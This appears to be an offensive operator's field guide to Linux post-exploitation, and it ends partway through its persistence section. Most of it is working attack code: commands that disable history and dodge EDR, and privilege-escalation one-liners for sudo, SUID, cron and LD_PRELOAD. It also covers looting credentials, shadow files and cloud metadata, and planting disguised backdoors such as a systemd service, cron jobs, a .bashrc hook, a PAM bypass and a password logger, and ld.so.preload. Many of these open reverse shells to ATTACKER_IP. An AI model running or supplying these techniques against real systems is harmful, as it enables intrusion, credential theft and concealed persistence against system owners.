1.1 Linux deep dive
1.1 Linux Deep Dive — Operator's Field Guide
BLUF: This is the step-by-step companion to 1. Linux. The focus is on how you actually do it — manually, with defenders in mind. Every phase starts with OPSEC considerations before touching the keyboard. Speed gets you caught. Discipline keeps you in.
Sections
- OPSEC Baseline — Stay Low From First Shell · 2. Privilege Escalation — Manual Chains · 3. Finding Valuable Data — Post-Exploitation Looting · 4. Persistence — Stealthy & Resilient · 5. Cleanup & Anti-Forensics
Attack Path
graph TB
Land([Shell Landed]) --> OPSEC[OPSEC Baseline\nUnset history · workspace · logging]
OPSEC --> Enum[Situational Awareness\nwhat am I on · who's watching]
Enum --> PrivEsc{Priv-Esc Vector?}
PrivEsc --> Sudo[Sudo Misconfig]
PrivEsc --> SUID[SUID/Capabilities]
PrivEsc --> Cron[Cron Hijack]
PrivEsc --> Kernel[Kernel CVE]
PrivEsc --> NFS[NFS/LD_PRELOAD]
Sudo & SUID & Cron & Kernel & NFS --> Root([Root])
Root --> Loot[Loot Creds & Keys]
Root --> Persist[Plant Persistence]
Root --> Pivot[Pivot / Exfil]
Pivot --> Cleanup[Cleanup & Exit]
style Land fill:#ff6600
style Root fill:#ff0000
style Cleanup fill:#444444MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Where Used |
|---|---|---|---|
| T1562.003 | Impair Command History Logging | Defense Evasion | OPSEC Baseline |
| T1548.003 | Sudo and Sudo Caching | Privilege Escalation | Sudo misconfig |
| T1548.001 | Setuid and Setgid | Privilege Escalation | SUID abuse |
| T1053.003 | Cron | Persistence / PrivEsc | Cron hijack |
| T1068 | Exploitation for Privilege Escalation | Privilege Escalation | Kernel CVE |
| T1552.001 | Credentials In Files | Credential Access | Config/env looting |
| T1003.008 | /etc/passwd and /etc/shadow | Credential Access | Shadow dump |
| T1552.007 | Container API / Cloud Metadata | Credential Access | IMDS looting |
| T1543.002 | Systemd Service | Persistence | Service backdoor |
| T1098.004 | SSH Authorized Keys | Persistence | SSH persistence |
| T1070.003 | Clear Command History | Defense Evasion | Cleanup |
| T1070.006 | Timestomp | Defense Evasion | File timestomping |
Section 1 — OPSEC Baseline: Stay Low From First Shell
Before you type a single enumeration command, lock down your trail. Defenders can't catch what isn't logged.
1.1 — Kill History Immediately
The very first commands you run after landing are the most exposed. Do this before anything else.
Stealth One-Liner (Session Kill):
unset HISTORY HISTFILE HISTFILESIZE HISTSIZE && export HISTFILE=/dev/null && export HISTSIZE=0 && set +o history
Step-by-Step Breakdown:
# Kill history recording for this session — do this FIRST
unset HISTORY HISTFILE HISTFILESIZE HISTSIZE HISTSAVE HISTZONE
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
# Belt-and-suspenders: tell bash not to append on exit
set +o history
# Confirm it's dead
echo $HISTFILE # should return nothing or /dev/null
history # should show empty or just this command
Why: Bash writes history to
~/.bash_historyon exit. If you're killed mid-session, a partial history file still lands on disk. Killing it in-session + redirecting to/dev/nullcovers both paths. Do this beforeid, beforewhoami, before everything.
1.2 — Work in a Volatile Workspace
Never drop tools or write temp files in /tmp if you can avoid it — it's world-readable and often monitored. /dev/shm is memory-backed (tmpfs) and clears on reboot.
# Use /dev/shm as your working directory
cd /dev/shm
# Create a hidden directory with an innocuous name
mkdir .cache && cd .cache
# Alternatively: memory-only workspace using a RAM disk already present
df -h /dev/shm # check available space — usually half of RAM
ls -la /run/user/$(id -u)/ # per-user tmpfs — also memory-backed
# When done: wipe it
rm -rf /dev/shm/.cache
Why:
/dev/shmcontents disappear on reboot, leaving nothing on disk for forensics. World-readable/tmpmeans other users (or monitoring daemons) can see your files. Hidden dirs (.name) still show withls -labut are missed by carelesslssweeps.
1.3 — Understand What's Logging You
Know what generates log entries before you make them. The key sources defenders use:
| Log Source | Location | What it captures |
|---|---|---|
| auditd | /var/log/audit/audit.log |
Syscalls, file opens, exec, network — extremely detailed if rules are set |
| syslog / rsyslog | /var/log/syslog |
General system events, daemon output |
| auth.log / secure | /var/log/auth.log (Debian), /var/log/secure (RHEL) |
sudo use, su, SSH logins, PAM events |
| bash_history | ~/.bash_history |
Command history (if not cleared) |
| systemd journal | journalctl |
Service starts/stops, unit failures |
| wtmp / utmp / btmp | /var/log/wtmp, /var/run/utmp, /var/log/btmp |
Login/logout records, failed logins |
| lastlog | /var/log/lastlog |
Per-account last login timestamp |
| cron logs | /var/log/cron, /var/log/syslog |
Cron job execution |
| EDR / endpoint agent | Varies — look for Falco, Wazuh, CrowdStrike, SentinelOne | Process creation, file writes, network connections |
# Check if auditd is running — most dangerous log source
systemctl status auditd 2>/dev/null || service auditd status 2>/dev/null
ps aux | grep auditd
# Check active audit rules (what syscalls/paths are being monitored)
auditctl -l 2>/dev/null # requires root, but try anyway
# Check if an EDR is present
ps aux | grep -iE "falcon|wazuh|crowdstrike|sentinel|carbon|cylance|mdatp|osquery|aide|samhain|tripwire|auditbeat|filebeat"
systemctl list-units --state=active | grep -iE "falcon|wazuh|carbon|sentinel|crowdstrike|elastic|osquery"
ls /opt/ | grep -iE "crowdstrike|falcon|carbon|sentinel|cylance|wazuh"
# Can you read audit logs? (if yes, you know what was captured)
tail -20 /var/log/audit/audit.log 2>/dev/null
1.4 — Low-Noise Shell Techniques
# Execute commands without forking a visible child process (stays in same PID)
exec bash --norc --noprofile # replace current shell, no init files
# Redirect stderr to suppress tool error noise that might land in syslog
./tool 2>/dev/null
# Run commands with a fake process name (basic EDR evasion — not foolproof)
exec -a "[kworker/0:1]" /bin/bash
# Avoid writing to disk entirely — pipe tool output to grep/awk in memory
curl -s https://example.com/tool | bash # WARNING: noisy — curl itself is logged
# Better: transfer tool via scp/sftp and execute from /dev/shm
# Unshare from logging namespaces (advanced, requires capabilities)
unshare --user --map-root-user /bin/bash 2>/dev/null # user namespace
# Check your current shell's PID and verify no debugger is attached
echo $ # your shell's PID
cat /proc/$/status | grep -E "TracerPid" # 0 = not being traced
1.5 — Minimize Your Footprint Checklist
Before each phase, run through this mentally:
| Question | Action |
|---|---|
| Will this write to disk? | Use /dev/shm or pipe output to memory |
Will this generate a new process visible in ps? |
Consider if timing matters — work during normal business hours when process noise is high |
Will this touch auth.log? |
sudo, su, SSH logins all write here — avoid when possible |
| Will this trigger auditd rules? | File reads on /etc/shadow, /etc/passwd writes, /bin/bash exec as root |
Will this be visible in w or who? |
Your shell session is listed — consider if defenders check active sessions |
| Did I compile or curl anything? | gcc and curl are both commonly alerted on — transfer tools via legitimate channels |
Section 2 — Privilege Escalation: Manual Chains
Every vector below starts with the most passive check first. Only escalate noise when lower-noise options are exhausted.
2.1 — Sudo Misconfiguration
The highest-value single command on any Linux box. Run this before anything else.
# What can I run as root without a password?
sudo -l
# OPSEC: sudo -l writes to auth.log on some configs — be aware
# Output to look for:
# (ALL) NOPASSWD: /usr/bin/vim → instant root shell
# (ALL) NOPASSWD: /usr/bin/python3 → instant root shell
# (ALL) NOPASSWD: /usr/bin/find → read/write as root
# (ALL) ALL → full root, just needs password
Common sudo escalation one-liners (check GTFOBins for the full list):
# sudo vim → shell escape
sudo vim -c ':!/bin/bash'
sudo vim -c ':py3 import pty; pty.spawn("/bin/bash")'
# sudo find → exec
sudo find / -name whatever -exec /bin/bash \;
# sudo python/python3 → setuid shell
sudo python3 -c 'import os; os.system("/bin/bash")'
# sudo awk → exec
sudo awk 'BEGIN {system("/bin/bash")}'
# sudo less → shell escape (inside less, type !bash)
sudo less /etc/passwd
# then: !bash
# sudo nano → shell escape (inside nano: Ctrl+R, Ctrl+X, then: reset; bash 1>&0 2>&0)
sudo nano /etc/hosts
# sudo env inheritance — if sudo preserves PATH
# If a writable dir is first in PATH and sudo allows env passthrough:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /tmp/legit_binary
chmod +x /tmp/legit_binary
sudo PATH=/tmp:$PATH legit_binary # only works if env_keep or SETENV is set
# sudo with wildcard in allowed command (e.g., /opt/scripts/*.sh)
# Create file: /opt/scripts/--checkpoint-action=exec=bash
touch '/opt/scripts/--checkpoint-action=exec=bash'
sudo /opt/scripts/*.sh
OPSEC:
sudo -litself is logged toauth.logand may trigger alerts on hardened systems. It's still worth running — the information gained outweighs the noise. Avoid usingsudofor interactive root shells if you can accomplish the goal through file reads/writes instead (less visible in process lists).
2.2 — SUID Binary Exploitation
# Step 1: Find all SUID binaries (passive — just reads filesystem metadata)
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null # same thing
# Step 2: Filter out expected system binaries — focus on unusual ones
find / -perm -4000 -type f 2>/dev/null | grep -vE "^(/usr/bin/(passwd|chsh|chfn|newgrp|su|sudo|gpasswd|mount|umount|pkexec)|/bin/(ping|mount|umount|su)|/sbin/|/usr/sbin/)"
# Step 3: For each unusual binary — check GTFOBins, then:
ls -la /path/to/binary # who owns it? what permissions?
file /path/to/binary # architecture?
strings /path/to/binary | head -30 # any hardcoded paths to hijack?
Exploitation patterns:
# SUID bash (rare but beautiful)
/bin/bash -p # -p preserves effective UID (root)
bash -p -c 'id' # confirm root
# SUID find
find . -exec /bin/sh -p \; -quit
find / -name blah -exec bash -p \; # -quit after first match
# SUID python/python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# or read arbitrary files without spawning a shell (quieter):
python3 -c 'print(open("/etc/shadow").read())'
# SUID cp — overwrite sensitive files
# Option 1: overwrite /etc/passwd to add a root user
openssl passwd -1 -salt hacker Password123
# → $1$hacker$...HASH...
echo 'hacker:$1$hacker$HASH:0:0:root:/root:/bin/bash' >> /tmp/passwd_new
cp /etc/passwd /tmp/passwd_backup # backup first
cp /tmp/passwd_new /etc/passwd # SUID cp writes as root
su hacker # password: Password123
# SUID vim / vi
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-i")'
# or within vim: :shell (drops to root shell if SUID)
# SUID nmap (older versions only — nmap < 5.21)
nmap --interactive
!sh
# SUID env
env /bin/sh -p
# SUID tee — write to root-owned files
echo "hacker ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers
Capabilities abuse (Linux capabilities = fine-grained SUID):
# Find all binaries with capabilities set
getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid → can call setuid(0) → root
# cap_dac_override → bypass file read/write permissions
# cap_net_raw → raw sockets — useful for sniffing but not direct root
# cap_sys_ptrace → can ptrace any process → inject into root process
# cap_setuid on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash")'
# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# cap_dac_override on vim — read /etc/shadow
vim /etc/shadow
# cap_sys_ptrace — inject shellcode into a root process (advanced)
# Use gdb or a custom injector targeting a root PID
OPSEC: Spawning a root
/bin/bashvia SUID is immediately visible to EDR (execve syscall with euid=0 from non-root process). Where possible, use the SUID binary to read sensitive files or write persistence instead of spawning interactive shells.
2.3 — Cron Job Hijacking
# Step 1: Enumerate all cron locations
crontab -l 2>/dev/null # current user's jobs
cat /etc/crontab # system-wide cron
cat /etc/cron.d/* # drop-in cron files
ls -la /etc/cron.{hourly,daily,weekly,monthly}/
cat /etc/cron.{hourly,daily,weekly,monthly}/* 2>/dev/null
# Step 2: Watch for cron jobs not in any crontab (e.g., run by root scripts)
# pspy watches /proc for process creation — no root needed
# Download: https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 500 # check every 500ms, watch for UID=0 processes
# Watch for 2–3 minutes to catch per-minute jobs
# Look for: UID=0 and a script or binary path you can influence
# Step 3a: Writable script called by cron
ls -la /opt/scripts/backup.sh # is it writable by you?
# If yes — append your payload (don't overwrite, it might be checked)
echo '' >> /opt/scripts/backup.sh # blank line spacer
echo 'cp /bin/bash /tmp/.sysd; chmod u+s /tmp/.sysd' >> /opt/scripts/backup.sh
# Wait for next cron run, then:
/tmp/.sysd -p # SUID bash as root
# Step 3b: PATH hijacking in cron
# If /etc/crontab has: PATH=/home/user:/usr/local/sbin:/usr/bin:/sbin:/bin
# And a cron job calls a binary by name (not full path), e.g., just 'backup'
# And /home/user is writable:
cat > /home/user/backup << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash
chmod u+s /tmp/.sysdbash
EOF
chmod +x /home/user/backup
# Wait → /tmp/.sysdbash -p
# Step 3c: Wildcard injection in cron tar/rsync commands
# If cron runs: tar czf /backup/archive.tar.gz /var/www/*
# And /var/www/ is writable by you:
touch '/var/www/--checkpoint=1'
touch '/var/www/--checkpoint-action=exec=bash payload.sh'
cat > /var/www/payload.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash && chmod u+s /tmp/.sysdbash
EOF
chmod +x /var/www/payload.sh
# Next tar run picks up the filenames as flags → executes payload.sh as root
OPSEC: Appending to existing scripts is less detectable than replacing them — file modification time changes either way, but a replaced file changes its content hash and size, both of which AIDE/Tripwire monitor. Timestomp after modification (see Section 5). Remove your additions after gaining root.
2.4 — NFS no_root_squash
# Check /etc/exports on the target (requires read access to this file)
cat /etc/exports
# Look for: no_root_squash or no_all_squash
# Example dangerous entry: /home *(rw,no_root_squash)
# From YOUR attacker machine (not the target):
# Step 1: Mount the NFS share
showmount -e TARGET_IP # list available NFS exports
mkdir /tmp/nfs_mount
mount -t nfs TARGET_IP:/home /tmp/nfs_mount -nolock
# Step 2: On attacker machine (as local root), create SUID shell
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash # sets SUID — because no_root_squash, root on client = root on server
# Step 3: Back on target, execute it
/home/rootbash -p # runs as root due to SUID bit you set remotely
# Cleanup on attacker: rm /tmp/nfs_mount/rootbash && umount /tmp/nfs_mount
2.5 — LD_PRELOAD / LD_LIBRARY_PATH (via sudo env_keep)
# Check: does sudo preserve LD_PRELOAD?
sudo -l | grep -E "env_keep|LD_PRELOAD|SETENV"
# Look for: env_keep+=LD_PRELOAD or SETENV
# If yes — write a malicious shared library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
# Run any allowed sudo binary with the preload
sudo LD_PRELOAD=/tmp/evil.so find / # 'find' just as an example — use whatever is in sudo -l
# The evil.so _init() runs before find, spawns root shell
# Cleanup
rm /tmp/evil.c /tmp/evil.so
2.6 — Weak File Permissions on Sensitive Files
# /etc/passwd writable (direct root user add)
ls -la /etc/passwd
# If writable:
openssl passwd -1 -salt pwned Password1
echo 'pwned:GENERATED_HASH:0:0:pwned:/root:/bin/bash' >> /etc/passwd
su pwned # password: Password1
# /etc/shadow readable (offline crack)
ls -la /etc/shadow
cat /etc/shadow # if readable by your user or group
# Copy hashes and crack offline: hashcat -m 1800 shadow.txt wordlist.txt
# /etc/sudoers writable
ls -la /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo bash
# Find world-writable files that might matter
find / -writable -type f 2>/dev/null | grep -vE "/proc|/sys|/dev|/run" | \
grep -E "cron|sudoers|passwd|shadow|hosts|profile|bashrc|environment"
# Find world-writable directories in PATH (PATH hijack opportunity)
echo $PATH | tr ':' '\n' | xargs -I{} sh -c 'test -w "{}" && echo "WRITABLE PATH DIR: {}"'
2.7 — Kernel Exploit — Last Resort
# Step 1: Identify exact kernel version
uname -r # e.g., 5.4.0-42-generic
uname -a # full string including build date
cat /proc/version
# Step 2: Research the version
# Run linux-exploit-suggester on attacker machine or if target has internet:
# https://github.com/mzet-/linux-exploit-suggester
./les.sh --kernel $(uname -r) # targeted results for this kernel
# Key CVEs worth knowing:
# DirtyPipe (CVE-2022-0847) → kernel 5.8–5.16.11 → overwrite root-owned files
# DirtyCow (CVE-2016-5195) → kernel < 4.8.3 → write to read-only mappings → overwrite /etc/passwd
# PwnKit (CVE-2021-4034) → polkit pkexec → universal LPE, works on most distros
# OverlayFS (CVE-2023-0386) → kernel < 6.2 → setuid bit in overlayfs
# GameOver (CVE-2023-35829) → kernel 6.x → UAF in io_uring
# Step 3: Transfer exploit to target via /dev/shm (avoid /tmp)
# Compile on attacker if gcc not on target:
x86_64-linux-gnu-gcc exploit.c -o exploit -static -pthread
# Transfer (scp, curl from your server, or base64 encode/decode):
# On attacker: base64 exploit > exploit.b64 && python3 -m http.server 8080
# On target:
curl -s http://ATTACKER_IP:8080/exploit.b64 | base64 -d > /dev/shm/exploit
chmod +x /dev/shm/exploit
./dev/shm/exploit
# Step 4: Clean up immediately after use
rm /dev/shm/exploit
OPSEC: Kernel exploits are the noisiest vector. They often crash processes, log kernel panics to
/var/log/kern.log, and cause unusual syscall patterns that EDR tools fingerprint. Use only when all other options are exhausted. Test on an identical kernel in a lab first.
Section 3 — Finding Valuable Data: Post-Exploitation Looting
Root is the means, not the end. The objective is intelligence: credentials, keys, secrets, and pivot paths.
3.1 — Credentials in Config Files
# The most common wins — search for known credential patterns
grep -rEl "(password|passwd|secret|token|api_key|apikey|auth)" \
/var/www /opt /home /srv /etc/app* /etc/nginx /etc/apache2 2>/dev/null | \
grep -vE "\.pyc$|/proc/|binary" | head -20
# Specific high-value files
find / -name ".env" -o -name "*.env" 2>/dev/null | xargs grep -li "pass\|secret\|token" 2>/dev/null
find / -name "wp-config.php" 2>/dev/null # WordPress DB creds
find / -name "database.yml" 2>/dev/null # Rails DB creds
find / -name "settings.py" 2>/dev/null | xargs grep -l "PASSWORD\|SECRET_KEY" 2>/dev/null # Django
find / -name "application.properties" -o -name "application.yml" 2>/dev/null | \
xargs grep -li "password\|secret" 2>/dev/null # Spring Boot
# Check common credential locations
cat /etc/mysql/my.cnf 2>/dev/null # MySQL root password
cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null # PostgreSQL auth
cat /root/.my.cnf 2>/dev/null # MySQL client creds
find /var/www -name "*.conf" -o -name "*.ini" 2>/dev/null | \
xargs grep -li "db_pass\|database_password\|DB_PASS" 2>/dev/null
# SSH keys — private keys are the most valuable single artifact
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | \
grep -v "\.pub$" | while read f; do
echo "=== $f ==="; head -1 "$f"; echo
done
# Known_hosts — maps to pivot targets (even if no key, hostname list is valuable)
find / -name "known_hosts" 2>/dev/null | xargs cat 2>/dev/null | \
grep -v "^#" | awk '{print $1}' | sort -u
3.2 — Shell History & Log Artifacts
# All history files — operators paste passwords here constantly
find / -name ".*_history" -o -name ".bash_history" -o -name ".zsh_history" \
-o -name ".python_history" -o -name ".mysql_history" -o -name ".psql_history" \
2>/dev/null | xargs cat 2>/dev/null
# Look for passwords pasted directly into command lines
find / -name ".*history" 2>/dev/null | xargs grep -iE "(pass|token|secret|key|auth|curl|wget)" 2>/dev/null | head -30
# Logs sometimes contain credentials in error messages or debug output
grep -rEi "password|passwd|secret|token" /var/log/ 2>/dev/null | grep -v "Binary\|\.gz:" | head -20
# auth.log can expose sudo passwords in malformed commands
grep "sudo" /var/log/auth.log 2>/dev/null | tail -30
3.3 — In-Memory Credentials (/proc)
This is often overlooked. Running processes can have credentials in their environment, command line, or memory maps.
# Environment variables of ALL running processes (requires root for other users' procs)
# Look for API keys, tokens, passwords passed via env vars
strings /proc/*/environ 2>/dev/null | grep -iE "pass|key|token|secret|api|aws|azure|gcp" | sort -u
# Command line arguments of all processes — passwords sometimes passed as CLI args
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | tr '\n' '\n' | \
grep -iE "pass|secret|token|key|--password" | head -20
# Target specific high-value processes
# Find processes by name first
ps aux | grep -iE "mysql|postgres|redis|mongodb|elastic|vault|consul"
# Then examine that specific PID
PID=$(pgrep -f mysqld | head -1)
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n' | grep -iE "pass|key|user|host"
# Memory maps — can find strings in loaded shared libs and heap
# WARNING: reading /proc/PID/mem is extremely noisy and may crash processes
# Safer: just read /proc/PID/maps for mapped file paths (config paths etc.)
cat /proc/$PID/maps | grep -v "\.so\|vvar\|vdso\|\[" | awk '{print $6}' | sort -u
3.4 — /etc/shadow → Offline Crack
# Dump shadow (requires root)
cat /etc/shadow
# Combine with passwd for unshadow (needed for john)
unshadow /etc/passwd /etc/shadow > /tmp/combined.txt
# Transfer to attacker machine, then crack offline:
# hashcat — SHA-512 ($6$) is most common on modern Linux
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
# john fallback
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Identify hash type from shadow entry:
# $1$ = MD5 hashcat -m 500
# $2y$ = bcrypt hashcat -m 3200 (very slow)
# $5$ = SHA-256 hashcat -m 7400
# $6$ = SHA-512 hashcat -m 1800 (most common)
# $y$ = yescrypt hashcat -m 15900 (modern Ubuntu)
3.5 — Swap File / Memory Dump
# Check if swap is in use
swapon --show
cat /proc/swaps
free -h
# Swap is physical memory dumped to disk — may contain cleartext creds, session tokens
# swap_digger: https://github.com/sevagas/swap_digger
sudo ./swap_digger.sh -s /dev/sda5 # replace with your swap partition
# Manual approach — grep swap for interesting strings (slow but no extra tools)
strings /dev/sda5 2>/dev/null | grep -iE "pass|token|secret|Bearer|Authorization" | head -20
# OR with swap file (not partition):
strings /swapfile 2>/dev/null | grep -iE "pass|token|secret" | head -20
# Hibernate image — if system has hibernated, /dev/disk/by-label/... or /hibernate
ls -la /boot/ | grep -i hibern
file /swapfile 2>/dev/null
3.6 — Cloud Instance Metadata (IMDS)
If you're on a cloud instance, the IMDS endpoint is unauthenticated by default (unless IMDSv2 is enforced) and yields IAM credentials, user-data scripts, and instance identity.
# AWS IMDSv1 (no token required — check if this works first)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get the role name, then:
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# Returns: AccessKeyId, SecretAccessKey, Token — use immediately for AWS API calls
# AWS IMDSv2 (requires token — but still automatic from the instance)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# User-data — admins put secrets, bootstrap scripts, and passwords here constantly
curl -s http://169.254.169.254/latest/user-data # AWS
# Look for: passwords, API keys, S3 bucket names, internal hostnames
# GCP metadata
curl -s "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# Azure IMDS
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata:true"
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata:true"
OPSEC: IMDS calls are HTTP requests that don't touch disk and generate no filesystem audit events. However, cloud providers log IAM credential usage — AWS CloudTrail will record every API call made with credentials from IMDS. Use the credentials for targeted actions only and be aware of the trail they leave.
Section 4 — Persistence: Stealthy & Resilient
Persistence should survive: reboots, password changes, deleted user accounts, and basic IR sweeps. Each mechanism below rates its detectability.
4.1 — SSH Authorized Keys
Detectability: Low (unless IR specifically checks ~/.ssh/)
# Ensure .ssh dir exists with correct permissions
mkdir -p ~/.ssh
chmod 700 ~/.ssh
# Add your public key (generate with: ssh-keygen -t ed25519 on attacker)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= user@host" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# OPSEC: disguise the key comment (last field) to match existing keys
# Check what format existing keys use:
cat ~/.ssh/authorized_keys
# Match the comment format: user@hostname, or an email, or no comment at all
# Add to root's authorized_keys (after gaining root)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= " >> /root/.ssh/authorized_keys
# Blank comment — harder to notice against legitimate keys
# Timestomp to match other keys in the directory
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys
4.2 — Systemd Service (Disguised)
Detectability: Medium (IR teams enumerate services, but disguised names pass casual review)
# Choose a name that blends in — mimic real systemd service names
# Bad: backdoor.service, shell.service
# Good: systemd-network-helper.service, dbus-logind-monitor.service, udev-settle-extra.service
cat > /etc/systemd/system/systemd-network-helper.service << 'EOF'
[Unit]
Description=Network Helper Daemon
After=network.target
Documentation=man:systemd-network(8)
[Service]
Type=forking
User=root
ExecStart=/usr/lib/systemd/systemd-network-helper
Restart=on-failure
RestartSec=30
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF
# Create the "binary" it calls — a script disguised as a system binary
cat > /usr/lib/systemd/systemd-network-helper << 'EOF'
#!/bin/bash
# Fork to background immediately (Type=forking)
setsid bash -c 'while true; do bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done' &
disown
EOF
chmod +x /usr/lib/systemd/systemd-network-helper
# Enable and start
systemctl daemon-reload
systemctl enable systemd-network-helper.service
systemctl start systemd-network-helper.service
# Verify it's masked from casual inspection
systemctl status systemd-network-helper.service # should show active/running
# Timestomp the service file to match other systemd files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/systemd-network-helper.service
OPSEC: Set
StandardOutput=nullandStandardError=nullto prevent log output from landing in journald. UseRestartSec=30with a sleep loop inside the script so that even if the beacon is killed, it reconnects without immediately alerting on rapid restarts. Never useRestart=alwayswith a 0-second delay — that generates a flood of restart events in the journal.
4.3 — Cron Persistence
Detectability: Low-Medium (cron is checked in IR, but infrequent jobs are often missed)
# System-wide cron (requires root) — runs as root
# Low frequency = less noise, survives longer
echo '47 3 * * 1 root /usr/lib/sysstat/.helper' >> /etc/cron.d/sysstat-helper
# Runs every Monday at 03:47 — unlikely to trigger pattern matching on hourly/daily
# Create the payload
cat > /usr/lib/sysstat/.helper << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /usr/lib/sysstat/.helper
# User crontab persistence (survives without root)
(crontab -l 2>/dev/null; echo "17 2 * * 3 /home/$(whoami)/.local/share/.sync") | crontab -
# Create hidden payload
mkdir -p ~/.local/share/
cat > ~/.local/share/.sync << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x ~/.local/share/.sync
# Timestomp cron files
touch -r /etc/cron.d/anacron /etc/cron.d/sysstat-helper
4.4 — .bashrc / .profile Conditional Backdoor
Detectability: Low (commonly checked, but conditional execution avoids repeated beaconing)
# Only beacon if callback host isn't already established — avoids obvious repeated connections
# Append to .bashrc (runs on interactive shell open) or .profile (runs on login)
cat >> ~/.bashrc << 'EOF'
# system check
_svc_check() {
pgrep -f "UNIQUE_MARKER" > /dev/null 2>&1 || \
(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &) > /dev/null 2>&1
}
_svc_check
EOF
# OPSEC improvements:
# 1. Use a unique marker in the process name so the pgrep check works correctly
# 2. Redirect all output to /dev/null
# 3. The function name and variable look like a legitimate sysadmin check
# 4. Only fires if the beacon process isn't already running
# For root: target /etc/profile (runs for ALL users on login) or /etc/bash.bashrc
# Be selective — modifying /etc/profile leaves a trace for every login
echo "_svc_check() { ... }" >> /etc/bash.bashrc
4.5 — PAM Backdoor (accepts any password for a user)
Detectability: Medium-High (PAM module changes are checked during IR, but often missed)
# Add pam_permit.so to PAM stack for SSH — allows login with ANY password
# Backup first
cp /etc/pam.d/sshd /etc/pam.d/sshd.orig
# Add to the TOP of the auth section — before existing auth rules
sed -i '1s/^/auth sufficient pam_permit.so\n/' /etc/pam.d/sshd
# Now SSH login with any password works for any account
# This is extremely powerful but also very detectable if PAM configs are audited
# More surgical: add backdoor only for a specific account
# Or: use pam_exec.so to run a script on auth (can log credentials of other users)
echo "auth optional pam_exec.so /tmp/.auth_hook" >> /etc/pam.d/sshd
cat > /tmp/.auth_hook << 'EOF'
#!/bin/bash
echo "$(date) USER=$PAM_USER PASS=$PAM_AUTHTOK" >> /tmp/.auth_log
EOF
chmod +x /tmp/.auth_hook
# This captures every SSH password attempt — not a persistence mechanism but credential logger
OPSEC: PAM backdoors are one of the first things a hardened incident response team checks. Prefer SSH key persistence over PAM. If you use PAM, revert it after gaining your persistence via another method.
4.6 — LD_PRELOAD Persistence via /etc/ld.so.preload
Detectability: Low (rarely checked unless IR is hunting for LD_PRELOAD specifically)
# Create a malicious shared library that execs a beacon when any dynamically linked binary runs
cat > /tmp/preload.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
// Only fire once — avoid loops when our payload itself is a dynamic binary
if (getenv("_PRELOAD_DONE")) return;
putenv("_PRELOAD_DONE=1");
// Don't fire as root — avoids noise, only fires for user-level processes
if (getuid() == 0) return;
// Check if beacon is running
if (system("pgrep -f UNIQUE_BEACON_MARKER > /dev/null 2>&1") != 0) {
system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &");
}
}
EOF
gcc -fPIC -shared -o /usr/local/lib/libsec.so /tmp/preload.c -ldl
rm /tmp/preload.c
# Register it globally
echo "/usr/local/lib/libsec.so" >> /etc/ld.so.preload
# Verify (will trigger on this command)
ls / # any dynamic binary will trigger the constructor
# Timestomp
touch -r /etc/ld.so.conf /etc/ld.so.preload
